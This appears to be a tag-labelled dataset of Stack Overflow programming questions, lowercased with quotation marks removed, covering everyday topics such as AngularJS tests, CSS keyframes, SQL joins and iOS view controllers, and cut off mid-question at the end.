how to test $scope in an angularjs controller  how do i test the $scope object of my controller     am i able to get the actual data that was attached to it     i have my test set up as shown below  but <code>myscope</code> is saying <code>undefined</code>.   <pre><code> use strict ;  describe( myapp.view1 module   function() { var $httpbackend  $rootscope  createcontroller  jsonhandler; beforeeach(module( myapp.view1 ));     describe( view1 controller   function(){      beforeeach(inject(function($rootscope  $controller  $injector) {       // set up the mock http service responses       $httpbackend = $injector.get( $httpbackend );       // backend definition common for all tests       $httpbackend.when( get    view1/quizzes.json )                   .respond({data:  [xxx xxx xxx] });       // get hold of a scope (i.e. the root scope)       $rootscope = $injector.get( $rootscope );       // the $controller service is used to create instances of controllers       var $controller = $injector.get( $controller );        var myscope = $rootscope.$new()        createcontroller = function() {           return $controller( view1ctrl   { $scope  : myscope });       };       var controller = createcontroller();      }));      it( should get the json files   function(){        $httpbackend.expectget( /view1/quizzes.json );     });     it( should get the json files   function(){        expect(myscope).tobe( words );    });   }); }); </code></pre>   controller:   <pre><code>myapp.controller( view1ctrl   [     $scope      $http      function($scope  $http) {      $http.get( view1/quizzes.json )     .then(function(res){       $scope.quizzes = res.data.quizzes     })     .then(function(){       $http.get( view1/questions.json )       .then(function(res){         $scope.questions = res.data.questions       })       .then(function(){         $scope.quiz = [ []  []  []  []  [] ]          _($scope.questions).foreach(function(qu){           _($scope.quizzes).foreach(function(quiz){             if (_.includes($scope.quizzes[(quiz.id - 1)].question_ids  qu.id)){               $scope.quiz[(quiz.id - 1)].push(qu)             }           })         })       })       .then(function(){         // console.log($scope.quiz)       })     });   } ]); </code></pre>,angularjs
css keyframes to animate div height from bottom to top  i have the following code that animates the grey bar from top to bottom  however i would like the other way around from bottom to top: <a href= http://jsfiddle.net/hrcu9e6b/3/  rel= nofollow >http://jsfiddle.net/hrcu9e6b/3/</a>   <pre><code>&lt;div class= review-type-wrapper-v &gt;     &lt;div class= review-type-inner   style= height:82% &gt;         &lt;div&gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;  @-webkit-keyframes linev {     from {         height: 0;     }     to {         height: 100%;     } }  @keyframes linev {     from {         height: 0;     }     to {         height: 100%;     } }  .review-type-wrapper-v  .review-type-wrapper-h{     border-radius:3px;     border:1px solid $rating-background-dark;     overflow: hidden;     .review-type-inner{         position: absolute;         &gt; div{             background-color: $rating-background-dark;             //position: absolute;             left: 0;             height: 100%;             //width:100%;         }      } }   .review-type-wrapper-v{     position: relative;     width: 14px;     height: 60px;     .review-type-inner{         bottom: 0;         width: 100%;         height: 100%;         &gt; div{             -webkit-animation: linev 3s linear;             animation: linev 3s linear;         }     } } </code></pre>,css
typeerror: $(...).addeventlistener is not a function <pre><code>settimeout(function() {         $.ajax({         url :  handlers/h_annotationhandler.php           data :  case_id=&lt; =$case_id &gt;&amp;plink=&lt; =$plink &gt;&amp;mode=get           type :  post           datatype :  json           success : function (response) {             if (!response.error) {                 annotation_length = response.annots.length;                 for (var i = 0; i &lt; response.annots.length; i++) {                     var elt  = document.createelement( div );                     elt.id =  runtime-overlay  + i;                     elt.classname =  highlight ;                     viewer.addoverlay({                         element: elt                          location : viewer.viewport.imagetoviewportrectangle(parseint(response.annots[i].rect_x)  parseint(response.annots[i].rect_y)  parseint(response.annots[i].rect_w)  parseint(response.annots[i].rect_h))                     });                     $( #runtime-overlay +i).attr( onclick    $.clickoverlay(  +i+  ) );                 }             }                        }     });     }  3000);      $.clickoverlay = function(whichoverlay) {             var flag = 0;             $( #runtime-overlay +whichoverlay).addeventlistener( mousedown   function(){                 flag = 0;             }  false);             $( #runtime-overlay +whichoverlay).addeventlistener( mousemove   function(){                 flag = 1;             }  false);             $( #runtime-overlay +whichoverlay).addeventlistener( mouseup   function(){                 if(flag === 0){                     console.log( click );                 }                 else if(flag === 1){                     console.log( drag );                 }             }  false);     } </code></pre>   why i get an type error for addeventlistener    can you help me  i try to understand click or drag.  so i added that functions in my click event :  <a href= https://stackoverflow.com/questions/6042202/how-to-distinguish-mouse-click-and-drag >how to distinguish mouse &quot;click&quot; and &quot;drag&quot;</a>    <strong>error : uncaught typeerror: $(...).addeventlistener is not a function</strong>,javascript
laravel function call and return in the same controller  i am new to laravel. i am having a doubt how to call other function inside the same controller and return the processed values to the function by which it has been invoked.  i have tried this similar to c language but the code doesn t works   <pre><code>class agreementsapicontroller extends controller     {        public function store($th_id $mv_id $wk1_terms $wk2_terms $wk3_terms)          {         //make a function call here to add function similar to         $result=add($th_id $mv_id);         }      public function add($th_id $mv_id)          { //process the parameters and return to store function            $r=$th_id+$mv_id;           return $r;          }     } </code></pre>,php
custom alert-wait_fences: failed to receive reply: 10004003  i have created custom alertview while click on cancl button it is giving wait_fences: failed to receive reply: 10004003. i have implemented diddismisswithbuttonindex but again same message is coming. please give me solution.    here is my code i am calling custom alert:-   <pre><code>      customalert = [[customalert alloc]initwithtitle:@ alert  message:@ please select job family and job title  delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil];       [customalert show];       [customalert release]; </code></pre>   creating design:-   <pre><code>- (void)drawrect:(cgrect)rect  {      cgcontextref context = uigraphicsgetcurrentcontext();      cgrect activebounds = self.bounds;     cgfloat cornerradius = 10.0f;        cgfloat inset = 6.5f;        cgfloat originx = activebounds.origin.x + inset;     cgfloat originy = activebounds.origin.y + inset;     cgfloat width = activebounds.size.width - (inset*2.0f);     cgfloat height = activebounds.size.height - (inset*2.0f);      cgrect bpathframe = cgrectmake(originx  originy  width  height);     cgpathref path = [uibezierpath bezierpathwithroundedrect:bpathframe cornerradius:cornerradius].cgpath;//graphics path for shapes and line      //background color     cgcontextaddpath(context  path);     cgcontextsetfillcolorwithcolor(context [uicolor colorwithred:0.941 green:0.973 blue:1 alpha:0.9].cgcolor);      cgcontextdrawpath(context  kcgpathfill);      //button design     cgfloat buttonoffset = 92.5f;      cgcontextsavegstate(context);      cgrect hatchframe = cgrectmake(12.0f  buttonoffset-10  activebounds.size.width-24  (activebounds.size.height - buttonoffset+1.0f-9));      cgpathref path1= [uibezierpath bezierpathwithroundedrect:hatchframe cornerradius:3].cgpath;     cgcontextaddpath(context  path1);     cgcontextsetfillcolorwithcolor(context [uicolor colorwithred:0.957 green:0.643 blue:0.376 alpha:1].cgcolor);     cgcontextdrawpath(context  kcgpathfill);     cgcontextsavegstate(context);       //shadow     cgcontextaddpath(context  path);     cgcontextsetlinewidth(context  3.0f);     cgcontextsetstrokecolorwithcolor(context  [uicolor colorwithred:210.0f/255.0f green:210.0f/255.0f blue:210.0f/255.0f alpha:1.0f].cgcolor);     cgcontextsetshadowwithcolor(context  cgsizemake(0.0f  0.0f)  6.0f  [uicolor colorwithred:0.0f/255.0f green:0.0f/255.0f blue:0.0f/255.0f alpha:1.0f].cgcolor);     cgcontextdrawpath(context  kcgpathstroke);      //border color     cgcontextaddpath(context  path);     cgcontextsetlinewidth(context  3.0f);     //  cgcontextsetstrokecolorwithcolor(context [uicolor colorwithred:0.957 green:0.643 blue:0.376 alpha:1].cgcolor);     cgcontextsetstrokecolorwithcolor(context [uicolor colorwithred:0.957 green:0.643 blue:0.376 alpha:1].cgcolor);     cgcontextdrawpath(context  kcgpathstroke);     cgcontextrestoregstate(context);    } </code></pre>,iphone
are there any downsides of creating many instances of the same class   i am re-writing my whole app from scratch and i got wondering if there s any difference and/or downside of creating multiple instances of the same class.    for example   <pre><code>myotherclass *my_class = [[myotherclass alloc] init];  for(int a = 0; a &lt; 100; a++) {     [my_class https_create_account:@ user_account ]; } </code></pre>   versus   <pre><code>for(int a = 0; a &lt; 100; a++) {     [[[myotherclass alloc] init] https_create_account:@ user_account ]; } </code></pre>   does the second one use more resources or memory or does it really not matter      edit:    here s the function i m calling from mymainclass which is a subclass of uiviewcontroller. the function  https_create_account  is in myotherclass which is a subclass of nsobject.   <pre><code>-(void)https_create_account :(nsstring *)post_data {    nsdictionary *headers = @{@ accept : @ application/json };    nsdictionary *parameters = @{@ account : post_data  @ user_id : post_data  @ main_account : post_data};    [[unirest post:^(unisimplerequest *request) {        [request seturl:[nsstring stringwithformat:@ %@/create_account/   server_api_url]];        [unirest timeout:60];        [request setheaders:headers];        [request setparameters:parameters];    }] asjsonasync:^(unihttpjsonresponse* response  nserror *error) {    // result    }]; } </code></pre>   so what would be the best way of calling the function from inside the mymainclass,objective-c
how do i calculate user inputs in form   i have a rails app with user inputs  i have to perform a calculation and store its new value. eg of price is given which was earlier written in js and php    <pre><code>if(count($_post[ price ]) &gt;= 0 &amp;&amp; !empty($_post[ price ])) {     $price = $_post[ price ];     $sql .=     . $price .     ;     switch ($price){         case ($price &gt;= 0 &amp;&amp; $price &lt;= 21):             $price_rating = 0;             break;         case ($price &gt;= 22 &amp;&amp; $price &lt;= 29):             $price_rating = 5;             break;         case ($price &gt;= 30 &amp;&amp; $price &lt;= 39):             $price_rating = 7;             break;         case ($price &gt;= 40 &amp;&amp; $price &lt;= 49):             $price_rating = 8;             break;         case ($price &gt;= 50 &amp;&amp; $price &lt;= 59):             $price_rating = 6;             break;         default:             $price_rating = 0;     }  } else {     $price_rating = 0;     $sql .=        ; } </code></pre>,ruby-on-rails
need help retrieving columns from another table  i m a total sql newcomer  i ve been working with access until now and it s time to expand.    i ve got two tables i m working with  <code>aircraft</code> and <code>flights</code>.    <code>aircraft</code> is keyed so that every unique aircraft has an <code>aircraftid</code> and that table contains all the info about that aircraft.    <code>flights</code> is a list of each individual flight  including <code>aircraftid</code>. i want to have that table (or a new table) listing the same info but with data from the column <code>type</code> in table <code>aircraft</code> displayed next to the <code>aircraftid</code>.    i can t figure out the lookup to so i can match the <code>aircraftid</code> to the record in the <code>aircraft</code> table... i m sure there s an easy way but i just can t make heads or tails of the commands.,sql
resource not found 404 response code and redirect to custom page using web.config file  i know how to use custom errors in asp.net web.config file when a non existent .aspx page is requested by the user like following;   <pre><code>       &lt;customerrors mode= on  defaultredirect= /error.aspx &gt;             &lt;error statuscode= 404  redirect= /error.aspx /&gt;         &lt;/customerrors&gt; </code></pre>   and is working fine for me  but when i tried to access non existent static resource such as test.htm  i am served with blue screen of death by iis.    if somebody knows how to redirect user to customized page say resourcenotfound.aspx when a non existing resource is requested by the user  then please suggest me.    thanks in advance.,asp.net
how can i implement commit and rollback in oracle sql using stored procedures   i am learning how to use stored procedures in <code>sql</code> and i would like to know some ideas on how to <code> emulate </code>  actually  implement it as if oracle didn t. let s say i have the below tables and everytime i try to insert values into any of them  those values are inserted on an auxiliary table in order to keep them there until i call my procedure called: <code>execute commit;</code>   <ul> <li>r1(a int  b varchar2  c double) r2(a int  c date)</li> </ul>,sql
syntax error on print statement in python <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/12593502/syntaxerror-near-print >syntaxerror near “print” </a>    </blockquote>     i ve a very weird syntax error right now in python.. here is the part of code:   <pre><code>tradeid = contract.get( tradeid ) itemid = contract.get( itemdata ).get( id ) if client.buyitem(tradeid  200):     print  bought contract for 200 coins      if client.movecard(str(itemid)   trade ):         client.posttrade(str(itemid)  str(250)  str(0)  str(3600))         print  contract posted for 250 coins  </code></pre>   it says syntax error for the line <code>print  bought contract for 200 coins </code>,python
how to target an element nestled in several unidentified tables   <em>i have no access to editing the html  i can only updated the css to change the styling.</em>    i want to change an input field to be 100% width  but the field has the same class as another field where i want the width to be 50% (so basically  if i edit this field in the css directly  it will change both  which i don t want).    the field i want to change is nestled in several un-classed tables  but the parent table does have a class. is there a way to target this specific input field    <pre><code>&lt;table class= findrepcomponent &gt; &lt;tr&gt; &lt;td&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;input type= text  id= zip &gt; </code></pre>,css
process data representing relationships between a web of entities  <strong>here are the facts:</strong>   <ol> <li> there are many companies. </li> <li> each company can have many businesses. </li> <li> there are many addresses. </li> <li> you don t know which businesses are owned by which companies (or the name of the company). </li> <li> however  you do know the address of each business and you know a business might trade at more than one address. </li> </ol>   <strong>forming relationships between addresses:</strong>   <ol start= 6 > <li>if a business has the same address as another then  for the purpose of this question  we will say that they are owned by the same company.</li> </ol>   ie a link is formed between two addresses when a business uses both addresses.    so  an address  a  might be linked to many other addresses.    note that:    6a. the addresses that address  a  links to might also be linked to one or more addresses.    6b. one of the addresses   a  links to might link back to  a  via a third address (ie  two business that use both these addresses)    a complex example of this is shown in the picture attached. in this picture  there are only two companies.  one has the red business  the other has the blue  green and black business.    <a href= https://i.stack.imgur.com/uluzq.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uluzq.jpg  alt= picture of example businesses ></a>    here is some example data in tableba ( i have attached a photo to describe these relationships)   <pre><code>business  address    a        1 a        2 b        1 c        3 d        4          &lt; four businesses sharing the same address e        4 f        4 g        4 w        2 w        5 x        5           x        6           </code></pre>   <a href= https://i.stack.imgur.com/iosb1.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/iosb1.jpg  alt= businesses at addresses ></a>    so i want to created code that will create the following output.  the output has one name per company and lists the business names that are in the company.    ie there is one row for every complete chain of addresses   <pre><code>a b w x d e f g c </code></pre>   this question is an simplification/ improvement on another so question <a href= https://stackoverflow.com/questions/31996580/find-grouped-values-and-then-concatenate-rows/32010479#32010479 >here</a>.      <a href= https://stackoverflow.com/a/31997819/111794 >this answer</a> to the other question uses a combination of sql and vba code to solve the problem  because ms access doesn t support <a href= https://en.wikipedia.org/wiki/recursive_join  rel= nofollow noreferrer >recursive joining</a>.    how can this be done with pure sql  either with recursive joining or some other technique (not with a stored procedure),sql
how to extract query result into sql file format using putty  is there any way to extract select query result into sql file format      below is the query :   <pre><code>select * from shift_details where employee_number=  121  and work_date between  2015-11-01  and  2015-11-05  </code></pre>,mysql
transfer linked stack to array to sort and vice versa  i have a linked stack <code>bookstack</code> which contains nodes <code>book</code>.i need to put the nodes in an array to be sorted then put back again to stack. additionally how could i sort alphabetically in c#  how could i implement it    <pre><code>class book {     private string title  author;     private int isbn;      public book(string a  string b  int c)     {         title = a;         author = b;         isbn = c;     }      public string getauthor()     {         return author;     }      public string gettitle()     {         return title;     }      public int getisbn()     {         return isbn;     } }  class nodestack {     node top;     int count;      public void push(object o)     {         node newtop = new node();         newtop.setvalue(o);         newtop.setnext(top);          top = newtop;         count++;      }      public object pop()     {         object value = top.getvalue();         top = top.getnext();         return value;     }      public object peek()     {         return top.getvalue();     }      public void clear()     {         top = null;         count = 0;     }      public int count()     {         return count;     } } </code></pre>   can t think of anything other than toarray(); but it won t work here,c#
popupwindow display after animation finished <blockquote>    in my project i ve right to left animation on relativelayout after finishing that    at the same location i needed the popupdropdown.both animation &amp; dropdown working good   but not in one after one.please guide me how to do.thanks in advance.  </blockquote>  <pre><code>scroll_bar_animation.setanimation(animation_right_left); scroll_bar_animation.startanimation(animation_right_left); location = new int[2]; scroll_bar_animation.getlocationonscreen(location); p = new point(); p.x = location[0]; p.y = location[1]; final view v = upper_scrollbar;  new handler().postdelayed(new runnable() { public void run() { low_scrollbar.setvisibility(view.gone);//this is to be disappear after animation so more_info_popup.showpopup(p  v  p.x);//this is the popup window and implemented in an other class } }  400l); </code></pre>,android
c language can be helpful in solving my puzzle  here is the problem:<br> <a href= https://i.stack.imgur.com/vo0yr.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vo0yr.jpg  alt= enter image description here ></a>    kindly  help me what i can do to solve this query. this is how i have taken the input:     <pre><code>#include &lt;math.h&gt; #include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;assert.h&gt; #include &lt;limits.h&gt; #include &lt;stdbool.h&gt;  int matrix(int a_size_rows  int a_size_cols  int** a) {  }  int main() {     int n;      int m;      scanf( %i %i   &amp;n  &amp;m);     int a[n][m];     for (int a_i = 0; a_i &lt; n; a_i++) {        for (int a_j = 0; a_j &lt; m; a_j++) {            scanf( %i  &amp;a[a_i][a_j]);        }     }     int result = matrix(n  m  a);     printf( %d\n   result);     return 0; }  </code></pre>,c
retrieve data from two table using id  <strong>table1</strong>   <pre> id  name  addresses  101 raja  chennai </pre>   <strong>table2</strong>   <pre> id group name 101 a siva 102 b selva </pre>   i want retrieve data from two tables like table2.group=a and two table id must equal then take address from table1 display id  name  address  group,mysql
is it possible to set the background image inside a <style> element   i have a button style defined like this:   <pre><code>&lt;style name= button_style &gt;     &lt;item name= android:textcolor &gt;#ffffff&lt;/item&gt;     &lt;item name= android:background &gt;@drawable/button_on_red&lt;/item&gt; &lt;/style&gt; </code></pre>   i am wondering if i can setup a background image inside this like:   <pre><code>&lt;style name= button_style &gt;             &lt;item name= android:background_when_pressed &gt;@drawable/button_off_red&lt;/item&gt;     &lt;item name= android:textcolor &gt;#ffffff&lt;/item&gt;     &lt;item name= android:background &gt;@drawable/button_on_red&lt;/item&gt; &lt;/style&gt; </code></pre>   thanks.,android
data from web server becomes null when accessed in ios 5  i have an app that gets a web addess (link) from a web server and displays it in my mfmailcomposeviewcontroller class. on ios 4 the web address is visible but on ios 5 sometimes the web address is null and the link is not working but sometimes it has the link working. can anyone please suggest what needs to be done  thanks.    i placed this code in the body of the mfmailcomposeviewcontroller   <pre><code>[body appendstring: @ use your computer browser &lt;a href=\  ]; [body appendstring: self.mycontact.webaddress]; </code></pre>,iphone
ios: linker errors with ocunit integration  i am adding ocunit test case target to my existing ios project. i have followed the tutorials from below links and done it. it created a new target for  myapptests  and .m  .h files. i added sentestingkit.framework also.    <a href= http://developer.apple.com/library/ios/#documentation/developertools/conceptual/unittesting/02-setting_up_unit_tests_in_a_project/setting_up.html#//apple_ref/doc/uid/tp40002143-ch3-sw1  rel= nofollow noreferrer >http://developer.apple.com/library/ios/#documentation/developertools/conceptual/unittesting/02-setting_up_unit_tests_in_a_project/setting_up.html#//apple_ref/doc/uid/tp40002143-ch3-sw1</a>    <a href= http://twobitlabs.com/2011/06/adding-ocunit-to-an-existing-ios-project-with-xcode-4/  rel= nofollow noreferrer >http://twobitlabs.com/2011/06/adding-ocunit-to-an-existing-ios-project-with-xcode-4/</a>    but when i click on  product  menu  test  option  it gives always the following linker errors.    <img src= https://i.stack.imgur.com/lli5i.png  alt= enter image description here >    i tried solving errors by following these links and the solution they have provided  <a href= https://stackoverflow.com/questions/6302362/xcode-4-fails-to-initiate-unit-tests-with-linker-error-after-i-created-a-new-s >xcode 4 fails to initiate unit tests (with linker error) after i created a new scheme</a> <a href= https://stackoverflow.com/questions/2867251/ocunit-testing-an-embedded-framework >ocunit testing an embedded framework</a>    but  none of the solution worked for me  its still giving linker errors as it is. please help on resolving these errors.    thank you.,ios
how to check if the pointer of a particular data structure is pointing to another node of the same data structure  this is the structure i defined for my b+ tree. the function i display returns the number of the not null pointers of a node. the problem i m encountering is that one of the pointers is pointing to:   <pre><code>7:i = 4  8: node-&gt;pointer[i] = (struct bptree *) 0x1 </code></pre>   when checked in gdb which is neither a null pointer or a pointer to a bptree node. when actually the answer should be 3. so is there a way to see if the pointer is pointing a bptree structure or any data structure it is supposed to point to. n is the order of the b+ tree   <pre><code>struct bptree {     char **key;     int nokeys;     struct bptree* pointer[n];     int root;     int leaf;     struct bptree* parent; };  typedef struct bptree bptree;  int noofpointers(bptree *node) {     int i = 0;     if(node == null)         return i;     while(node-&gt;pointer[i] != null)         i++;     return i; } </code></pre>,c
floating point numbers in c  i need to convert the following statement to    <pre><code>x = 123456.789; </code></pre>   and print the floating point variable x with 3 digits before the decimal point and two digits after the decimal point.    <strong>output</strong>    456.78    what i have tried <code>printf( %6.2f  x);</code>,c
obj-c - one if statement overriding the other   i have two if statements - see code below:    <strong>.m</strong>   <pre><code>if ([swaptime iskindofclass:[nsstring class]] &amp;&amp; [friends count] &gt; 0) {  }   if ([friends count] &gt; 0) {  } </code></pre>   as is  my second if statement sometimes overrides the first  even if value for swaptime is populated <strong>and</strong> friends count is greater than 0. even though both statements require friends count to be greater than 0  shouldn t the second if statement kick in only if swaptime is null  or is there another way that i should be writing this,objective-c
images in jquery script won t load in slider  i have copied the files and code from this page <a href= http://basic-slider.com/  rel= nofollow >basic-slider.com</a>    but when i preview it the images appear broken and below the body.  i m not sure why as i ve given it a higher z-index and arranged it to be on top.  also when i change it so the images are in a table/list they show up but then i don t have a slider. this is how i ve coded it so far:    head:   <pre><code>&lt;title&gt;tech and innovation&lt;/title&gt; &lt;link href= style.css  rel= stylesheet  type= text/css  /&gt; &lt;link href= bjqs.css  rel= stylesheet  type= text/css  /&gt; &lt;script type= text/javascript  src= jquery.js &gt;&lt;/script&gt;  &lt;script type= text/javascript  src= bjqs.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt; jquery(document).ready(function($) {     $( #banner-fade ).bjqs({          height  : 320           width  : 620           responsive  : true     }); }); &lt;/script&gt;  &lt;/head&gt; </code></pre>   body html:   <pre><code>&lt;body&gt; &lt;div id= wrapper &gt; &lt;div id= header &gt;     &lt;/div&gt;     &lt;div align= center &gt; &lt;div id= body  style= width: 960px; left: 0px; top: 0px &gt;  &lt;div id= my-slideshow  style= height: 500px; z-index: 3; &gt;     &lt;ul class= bjqs &gt;         &lt;li&gt;&lt;img alt=   height= 310  src= img/banner01.jpg  width= 620  /&gt;&lt;/li&gt;     &lt;li&gt;&lt;img alt=   height= 310  src= img/banner03.jpg  width= 620  /&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;  &lt;div id= footer  style= height: 178px &gt;  &lt;/div&gt;  &lt;/div&gt;   &lt;/body&gt; </code></pre>   css:   <pre><code>ul.bjqs{     position: relative;     list-style: none;     padding: 0;     margin: 0;     overflow: auto;     display: block;     z-index: 2; }  li.bjqs-slide{     position:absolute;     display:none; }  ul.bjqs-controls{     list-style:none;     margin:0;     padding:0;     z-index:9999; }  ul.bjqs-controls.v-centered li a{position:absolute;}  ul.bjqs-controls.v-centered li.bjqs-next a{right:0;} ul.bjqs-controls.v-centered li.bjqs-prev a{left:0;}  ol.bjqs-markers{list-style: none; padding: 0; margin: 0; width:100%;}  ol.bjqs-markers.h-centered {text-align: center;} ol.bjqs-markers li {display:inline;}  ol.bjqs-markers li a {display:inline-block;}  p.bjqs-caption {     display:block;     width:96%;     margin:0;     padding:2%;     position:absolute;     bottom:0; } </code></pre>   i m not sure what am i doing wrong but i m sure it s something simple as i m self-taught and finding things the hard way at the moment.,jquery
how can i select the last list item of a specific class in a list of items  <pre><code>&lt;ul&gt;     &lt;li class= special &gt;&lt;/li&gt;     &lt;li class= special &gt;&lt;/li&gt;     &lt;li class= special &gt;&lt;/li&gt;     &lt;li&gt;&lt;/li&gt;     &lt;li&gt;&lt;/li&gt;     &lt;li&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   in this example i would like to target only the last <code>.special</code> list item. is this possible using only css,css
android   send out a signal to headset jack  i want to send out some customized signals to headset jack output ( 3.5 mm ) instead of music. is there any high level library (or protocol) for this purpose     if not   what native android library i must use      regards ...,android
crash happening when using removeobjectsinarray:[nsarray arraywitharray:]  self.filteredproducts = [[nsmutablearray alloc] init];   <pre><code>    //find products     self.filteredproducts = (nsmutablearray*)[(nsmutabledictionary *)[self.cecategoriesdictionary objectforkey:category.categoryguid] allvalues];      if([self.oldfilteredproducts count] &gt; 0 &amp;&amp; selectedlevel==5)     {         nsmutablearray *diff = [self.filteredproducts mutablecopy];         [diff removeobjectsinarray:[nsarray arraywitharray:self.oldfilteredproducts]];         [self.filteredproducts removeobjectsinarray:[nsarray arraywitharray:diff]];     } </code></pre>   logs :    [__nsarrayi removeobjectsinarray:]: unrecognized selector sent to instance 0x1aed19d0 2014-09-15 22:00:19.243 sapretailex[10325:90b] [error]:uncaught exception: -[__nsarrayi removeobjectsinarray:]: unrecognized selector sent to instance 0x1aed19d0 2014-09-15 22:00:19.243 sapretailex[10325:90b] [error]:-[__nsarrayi removeobjectsinarray:]: unrecognized selector sent to instance 0x1aed19d0 2014-09-15 22:00:19.248 sapretailex[10325:90b] [error]:(,objective-c
how to cut a part of div  i try to give you a broad picture of my problem. suppose i have a overlay <code>div</code> on my page with <code>z-index: 99;</code>  with <code>background-color: rgba(0 0 0 0.5)</code>. then i want to remove a part of overlay <code>div</code>  for example <code>100 x 100px</code> in <code>top: 50px;</code> and <code>left: 200px;</code>.    by removing i mean that exclude a part of overlay <code>div</code> to make that part visible and remove the <code>background-color</code> from that.    how can i do that,css
generating li tags using helper methods fails in rails  i am using rails 2.3.11    in my <code>views/layout/application.html.erb</code>   <pre><code>&lt;ul&gt;   &lt;li&gt;1&lt;/li&gt;   &lt;li&gt;2&lt;/li&gt;   &lt;%= myhelper( t )%&gt;   &lt;li&gt;4&lt;/li&gt; &lt;/ul&gt; </code></pre>   i am calling <code>myhelper</code> method to generate <code>li</code> in <code>application_helper.rb</code>   <pre><code>def myhelper(v)   if v     content_tag(:li  link_to( 3  /users_path))   end end </code></pre>   i have confirmed that <code>myhelper</code> gets called but it doesn t generate the <code>li</code> tag.     please give suggestions.    <strong>edit</strong>    i am trying to generate li tag based on the value received from one of the helper method in the same application helper which is collections   <pre><code> def myhelper(v)         collections.each_with_index do |c i|        case c            when  c                       content_tag(:li  link_to( 3   users_path))            end        end end  def collections   @enabled ||= setting.get_enabled end </code></pre>   where collections is an array received from one other helper method in the same helper -application helper    when i comment the two below lines   <pre><code>      collections.each_with_index do |c i|        end </code></pre>   li is generating .    why this helper method is not getting.please give suggestions,ruby-on-rails
sql help: counting rows in a single query with a nested select  i m looking for a better way to do the following query.  i have a table that looks like this:   <pre><code>game_id | home_team_id | away_team_id 1       | 100          | 200 2       | 200          | 300 3       | 200          | 400 4       | 300          | 100 5       | 100          | 400 </code></pre>   and i want to write a query that counts the number of home games and away games for each team and outputs the following:   <pre><code>team_id | home_games | away_games 100     | 2          | 1 200     | 2          | 1 300     | 1          | 1 400     | 0          | 2 </code></pre>   right now  i wrote this monstrosity that works  but it s slow (i know it s pulling the entire 2 800 row from the table twice).   <pre><code>select    home_team_id as team_id    (select count(*) from `game` where home_team_id = temp_game.home_team_id) as home_games    (select count(*) from `game` where home_team_id = temp_game.away_team_id) as away_games   from (select * from `game`) as temp_game   group by home_team_id </code></pre>   can a sql guru help me knock out a better way   i think my problem is that i don t understand how to get a distinct list of the team ids to throw at the count queries.  i bet there s a better way with a better placed  nested select.  thanks in advance!,sql
how do i print this string   hi i m trying to print this string but i get an error. what is wrong in my code    <pre><code>def main():     for x in range (0  100):         t = 100 - x         print (t+  bottles of beer on the wall  +t+ bottles of beer.          take one down  pass it around  +t-1+  bottles of beer on the wall. )  main() </code></pre>   the error is:   <pre><code>eol while scanning the string literal </code></pre>,python
closing html viewer from my app  i have a html file which i am opening by launching the html viewer. is there a way to tell html viewer from my app to close the page      here is the code i am using to launch the html file   <pre><code>super.oncreate(savedinstancestate); setcontentview(r.layout.main); file file  = new file( /data/data/sample.html ); intent intent = new intent(intent.action_view);  intent.setdataandtype(uri.fromfile(file)   text/html );  startactivity(intent); </code></pre>,android
asp.net using session in custom httphandler  i ve a custom httphandler in app_code folder  i want to use session in this class but there is a exception message  here is the code   <pre><code>public void processrequest(httpcontext context) {     httprequest request = context.request;     httpresponse response = context.response;      httpcontext.current.session[ userid ] =  abc ;     response.write(httpcontext.current.session[ userid ].tostring());  } </code></pre>   error message:   <pre><code>object reference not set to an instance of an object.  description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.   exception details: system.nullreferenceexception: object reference not set to an instance of an object. </code></pre>   anyone knows what is the problems>,asp.net
converting arraylike object  isn t there any ways for converting array-like objects into array so that all array methods can be used with it see here:   <pre><code>[].prototype.foreach.call( maizere  fn) </code></pre>   likewise for every array-like objects     what i want is  to use foreach loop directly on this  maizere  string.but before that i need to convert it into an array .is there any possibility or any trick that works for all array-like objects.thank u.,javascript
.net loop through methods in a class  i ve got a class with an undetermined number of methods inside   <pre><code>public class myclass     public sub foo()     end sub      public sub bar()     end sub end class </code></pre>   is there an easy way to call all of the methods in  myclass  without physically specifying each one   the reason for this is that the methods within  myclass  are going to be evergrowing  and i don t want to specify the method call for each one when the end goal is to execute every method on a set schedule.    ie: i want to avoid   <pre><code>page_load     foo()     bar() </code></pre>  <h2>edit:</h2>   i ve tried the following code to loop through the methods  but i m getting an error   <pre><code>    public shared sub calculator()         dim methods as new methods()         for each info as methodinfo in methods.gettype.getmethods             info.invoke(nothing  nothing)         next     end sub </code></pre>  <blockquote>    system.reflection.targetexception: non-static method requires a target.  </blockquote>,.net
launching a modal uinavigationcontroller  i d like to launch a modal view controller the way one does with  abpeoplepickernavigationcontroller  and that is without having to creating a navigation controller containing the view controller.    doing something similar yields a blank screen with no title for the navigation bar and there s no associated nib file loaded for the view even though i am invoking the initwithnibname when the  init  is called.    my controller looks like:   <pre><code>@interface myviewcontroller : uinavigationcontroller  @implementation myviewcontroller - (id)init {     nslog(@ myviewcontroller init invoked );     if (self = [super initwithnibname:@ detailview  bundle:nil]) {         self.title = @ all things ;     }     return self; } - (void)viewdidload {        [super viewdidload];      self.title = @ all things - 2 ; }  @end </code></pre>   when using the ab controller  all you do is:   <pre><code>abpeoplepickernavigationcontroller *picker = [[abpeoplepickernavigationcontroller alloc] init]; picker.peoplepickerdelegate = self;  [self presentmodalviewcontroller:picker animated:yes]; [picker release]; </code></pre>   abpeoplepickernavigationcontroller is declared as:   <pre><code>@interface abpeoplepickernavigationcontroller : uinavigationcontroller </code></pre>   the other way to create a modal view as suggested in apple s  view controller programming guide for iphone os :   <pre><code>// create a regular view controller. myviewcontroller *modalviewcontroller = [[[myviewcontroller alloc] initwithnibname:nil bundle:nil] autorelease];  // create a navigation controller containing the view controller. uinavigationcontroller *secondnavigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:modalviewcontroller];  // present the navigation 